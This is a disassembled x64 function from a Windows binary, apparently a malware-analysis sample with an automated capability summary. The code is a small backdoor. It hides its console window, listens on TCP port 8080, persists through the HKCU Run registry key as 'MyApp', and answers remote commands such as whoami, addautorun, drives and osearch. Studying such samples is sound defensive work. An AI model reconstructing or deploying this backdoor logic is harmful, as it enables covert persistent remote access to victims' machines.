Function at 0x140002470
Capabilities:
Get common file path
Get session user name
Initialize winsock library
Persist via run registry key
Receive data
Receive data on socket
Send data
Send data on socket
Set registry value
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0xdb0]
sub rsp, 0xeb0
mov rax, qword [0x140008008]
xor rax, rsp
mov qword [rbp + 0xda0], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 0x202
lea rdx, [rbp - 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rbp - 0x40], reloc.WS2_32.dll_recv
xor r15d, r15d
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], 7
mov word [rbp - 0x60], r15w
xor r8d, r8d
lea edx, [r15 + 1]
mov edi, 2
mov ecx, edi
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
test eax, eax
jne 0x14000251a
lea rcx, str.socket_failed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
lea ecx, [rdi - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov word [rbp - 0x38], di
mov dword [rbp - 0x34], r15d
mov ecx, 0x1f90
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp - 0x36], ax
movsxd rsi, ebx
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp - 0x38]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_bind]
test eax, eax
jns 0x140002564
lea rcx, str.bind_failed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, 3
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_listen]
test eax, eax
jns 0x14000258f
lea rcx, str.listen
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.Server_listening_on_port
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140002e90
mov rcx, rax
mov edx, 0x1f90
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140003070]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x38]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_accept]
mov rdi, rax
test eax, eax
jns 0x1400025f1
lea rcx, str.accept
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.Client_connected
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140002e90
mov rcx, rax
lea rdx, [0x140003070]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov r8d, 0x104
lea rdx, [rbp + 0x390]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rbp + 0x390]
mov rbx, 0xffffffffffffffff
nop word [rax + rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140002640
add ebx, ebx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400026ad
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x390]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.MyApp
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
mov r8d, 0x800
lea rcx, [rbp + 0x5a0]
call sub.VCRUNTIME140.dll_memset
movsxd r14, edi
xor r9d, r9d
mov r8d, 0x800
lea rdx, [rbp + 0x5a0]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x140002d6e
lea r12, str.Ajout
nop dword [rax]
lea rdx, str.Commande_re
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140002e90
mov rcx, rax
lea rdx, [rbp + 0x5a0]
call fcn.140002e90
mov rcx, rax
lea rdx, [0x140003070]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov r8d, 6
lea rdx, str.whoami
lea rcx, [rbp + 0x5a0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncmp]
test eax, eax
jne 0x1400027a9
mov dword [rsp + 0x70], 0x101
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x180]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], 7
test eax, eax
je 0x140002797
lea rax, [rbp + 0x180]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140002780
lea rdx, [rbp + 0x180]
jmp 0x140002911
mov r8d, socket
lea rdx, str.Unable_to_get_username
jmp 0x140002911
mov r8d, 0xa
lea rdx, str.addautorun
lea rcx, [rbp + 0x5a0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncmp]
test eax, eax
jne 0x140002890
lea rax, [rbp + 0x390]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x1400027e0
add ebx, ebx
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x14000281e
mov eax, 1
jmp 0x140002868
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x390]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.MyApp
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x78]
test eax, eax
je 0x14000285f
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x140002868
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, r15d
lea rdx, [0x140005730]
test eax, eax
cmove rdx, r12
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x140002880
jmp 0x140002cec
mov r8d, 3
lea rdx, [0x140005770]
lea rcx, [rbp + 0x5a0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncmp]
test eax, eax
jne 0x14000296f
lea rdx, [rbp + 0x180]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], 7
test eax, eax
je 0x140002904
lea rax, [rbp + 0x180]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400028f0
lea rdx, [rbp + 0x180]
jmp 0x140002911
mov r8d, 0x34
lea rdx, str.Erreur_lors_de_la_r
lea rcx, [rbp - 0x80]
call fcn.140001af0
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x14000295a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140002955
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002dbc
call fcn.14000349c
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rbp - 0x70]
movups xmmword [rbp - 0x50], xmm1
jmp 0x140002cf5
mov r8d, 6
lea rdx, str.drives
lea rcx, [rbp + 0x5a0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncmp]
test eax, eax
jne 0x140002b4d
lea rdx, [rsp + 0x50]
call fcn.1400013e0
mov rdi, rax
lea rdx, [rsp + 0x30]
call fcn.1400013e0
mov rbx, rax
mov rax, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x1400029b8
mov rax, qword [rdi]
mov rdi, qword [rdi + 0x10]
add rdi, rax
cmp qword [rbx + 0x18], 0x10
jb 0x1400029c9
mov rbx, qword [rbx]
mov qword [rbp - 0x80], r15
mov rcx, r15
mov qword [rbp - 0x70], rcx
mov r8d, 7
mov qword [rbp - 0x68], r8
mov rdx, rdi
sub rdx, rbx
cmp rdx, 8
jb 0x1400029fe
lea rcx, [rbp - 0x80]
call fcn.140003250
mov rcx, r15
mov qword [rbp - 0x70], rcx
mov r8, qword [rbp - 0x68]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x70], rax
cmp rbx, rdi
je 0x140002a56
nop dword [rax]
movsx r9d, byte [rbx]
cmp rcx, r8
jae 0x140002a3b
lea rax, [rcx + 1]
mov qword [rbp - 0x70], rax
lea rax, [rbp - 0x80]
cmp r8, 8
cmovae rax, qword [rbp - 0x80]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r15w
jmp 0x140002a44
lea rcx, [rbp - 0x80]
call fcn.1400030b0
inc rbx
cmp rbx, rdi
je 0x140002a56
mov r8, qword [rbp - 0x68]
mov rcx, qword [rbp - 0x70]
jmp 0x140002a10
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x140002a96
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a91
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002dc3
call fcn.14000349c
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rbp - 0x70]
movups xmmword [rbp - 0x50], xmm1
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], r15w
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140002af4
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002aef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002dca
call fcn.14000349c
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], recv
mov byte [rsp + 0x30], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140002cf5
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b43
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002dd1
call fcn.14000349c
jmp 0x140002cf5
mov r8d, 8
lea rdx, str.osearch
lea rcx, [rbp + 0x5a0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncmp]
test eax, eax
jne 0x140002cbd
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], r15w
lea rax, [rbp + 0x5b0]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140002b92
lea rdx, [rbp + 0x5b0]
lea rcx, [rbp - 0x80]
call fcn.140001af0
nop
lea r8, [rbp - 0x80]
lea rdx, [rsp + 0x50]
call fcn.1400011c0
mov rbx, rax
lea rax, [rbp - 0x60]
cmp rax, rbx
je 0x140002c38
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x140002c08
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002dd8
call fcn.14000349c
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], 7
mov word [rbp - 0x60], r15w
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 7
mov word [rbx], r15w
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x140002c7b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c75
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002dd8
call fcn.14000349c
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 8
jb 0x140002cf5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002cb6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002ddf
call fcn.14000349c
jmp 0x140002cf5
mov r8d, 4
lea rdx, [0x1400057a0]
lea rcx, [rbp + 0x5a0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncmp]
test eax, eax
je 0x140002d6e
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.Commande_non_support
lea rcx, [rbp - 0x60]
call fcn.140001af0
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 8
cmovae rdx, qword [rbp - 0x60]
mov r8d, dword [rbp - 0x50]
add r8d, r8d
xor r9d, r9d
mov rcx, r14
call qword [sym.imp.WS2_32.dll_send]
lea rdx, [0x1400057e0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140002e90
mov rcx, rax
lea rdx, [0x140003070]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor edx, edx
mov r8d, 0x800
lea rcx, [rbp + 0x5a0]
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
mov r8d, 0x800
lea rdx, [rbp + 0x5a0]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x1400026f0
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x140002deb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002de6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002de6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.14000349c
xor eax, eax
mov rcx, qword [rbp + 0xda0]
xor rcx, rsp
call fcn.140003440
lea r11, [rsp + 0xeb0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret